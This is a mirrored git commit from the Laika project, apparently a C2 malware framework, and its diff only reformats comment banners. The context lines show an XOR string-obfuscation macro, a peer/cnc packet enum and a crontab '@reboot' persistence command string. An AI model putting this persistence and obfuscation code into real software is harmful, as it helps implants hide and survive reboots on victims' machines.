1
0
mirror of https://github.com/CPunch/Laika.git synced 2026-02-01 14:20:04 +00:00

Minor comments refactoring

This commit is contained in:
2022-06-27 18:20:23 -05:00
parent ca0543fe90
commit 1d6ce15b3d
15 changed files with 46 additions and 34 deletions

View File

@@ -38,7 +38,7 @@ struct sLaikaB_box {
uint8_t code[LAIKA_VM_CODESIZE];
};
/* ==============================================[[ Box Var API ]]=============================================== */
/* ======================================[[ Box Var API ]]====================================== */
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
@@ -61,7 +61,7 @@ struct sLaikaB_box {
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
#endif
/* ==============================================[[ Laika Boxes ]]=============================================== */
/* ======================================[[ Laika Boxes ]]====================================== */
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
#define LAIKA_BOX_SKID(_key) { \
@@ -86,7 +86,7 @@ struct sLaikaB_box {
} \
}
/* ==============================================[[ Raw Box API ]]=============================================== */
/* ======================================[[ Raw Box API ]]====================================== */
LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) {
struct sLaikaV_vm vm = {

View File

@@ -18,7 +18,7 @@
/* raw obfuscated strings */
/* =============================================[[ Linux Strings ]]============================================== */
/* =====================================[[ Linux Strings ]]===================================== */
/* we want a semi-random file lock that is stable between similar builds,
* so we use the GIT_VERSION as our file lock :D */
@@ -30,7 +30,7 @@
#define LAIKA_LIN_CRONTAB_ENTRY "(crontab -l ; echo \"@reboot %s\")| crontab -"
/* ============================================[[ Windows Strings ]]============================================= */
/* ====================================[[ Windows Strings ]]==================================== */
/* we want a semi-random mutex that is stable between similar builds,
* so we use the GIT_VERSION as our mutex :D */

View File

@@ -34,7 +34,7 @@
if packet doesn't have either, it can be sent & received by both peer & cnc
*/
enum {
/* ==================================================[[ Peer ]]================================================== */
/* =========================================[[ Peer ]]========================================== */
LAIKAPKT_VARPKT,
/* layout of LAIKAPKT_VARPKT:
* LAIKAPKT_SIZE pktSize;
@@ -73,7 +73,7 @@ enum {
* uint32_t id;
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
*/
/* ==================================================[[ Auth ]]================================================== */
/* =========================================[[ Auth ]]========================================== */
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
* uint8_t peerType;

View File

@@ -36,7 +36,7 @@ void laikaS_freePeer(struct sLaika_peer *peer) {
laikaM_free(peer);
}
/* ===========================================[[ Start/End Packets ]]============================================ */
/* ===================================[[ Start/End Packets ]]=================================== */
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
struct sLaika_socket *sock = &peer->sock;
@@ -157,7 +157,7 @@ void laikaS_setSecure(struct sLaika_peer *peer, bool flag) {
peer->useSecure = flag;
}
/* ===========================================[[ Handle Poll Events ]]=========================================== */
/* ==================================[[ Handle Poll Events ]]=================================== */
bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;

View File

@@ -2,7 +2,7 @@
#include "lmem.h"
#include "lpolllist.h"
/* ===========================================[[ Helper Functions ]]============================================= */
/* ===================================[[ Helper Functions ]]==================================== */
typedef struct sLaika_hashMapElem {
SOCKET fd;
@@ -21,7 +21,7 @@ uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1) {
return (uint64_t)(u->fd);
}
/* ==============================================[[ PollList API ]]============================================== */
/* =====================================[[ PollList API ]]====================================== */
void laikaP_initPList(struct sLaika_pollList *pList) {
laikaS_init();